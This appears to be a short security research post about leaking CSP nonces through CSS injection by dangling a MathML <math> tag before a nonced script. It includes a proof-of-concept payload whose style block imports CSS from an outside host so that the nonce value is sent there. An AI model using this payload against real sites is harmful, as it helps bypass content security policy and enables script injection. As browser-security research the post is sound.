Leaking CSP nonces with CSS & MathML
Nowadays, browsers prevent CSS Injection from being able to leak nonce=
attributes, they can’t be matched. Either via selectors or the new attr()
function.
Tip: In case you’re testing this, made sure your testing setup has a CSP header active with the correct nonce. Only then will it hide the nonce attribute, otherwise you might get false positives!
The trick: if you can dangle a <math>
tag at the end of your payload, and a script/style with a nonce comes right after it (before auto-closing the math tag), in the MathML namespace this protection isn’t active!
That means you can match it with selectors like *=
, or use the attr()
trick just like any other attribute:
Content-Security-Policy: script-src 'nonce-NONCE'
<style>
@import 'https://r.jtw.sh./poc.css?body=*[nonce]+%7B%0D%0A++background%3A+image-set%28attr%28nonce%29%29%3B%0D%0A%7D';
</style>
<math>
<script nonce="NONCE">
console.log("Hello, world!");
</script>
I don’t think this is very useful in the real world yet because dangling markup really only happens on server-side HTML injection, while updating a payload to include our newly leaked nonce requires a client-side injection. Maybe someone has an attack scenario ¯\_(ツ)_/¯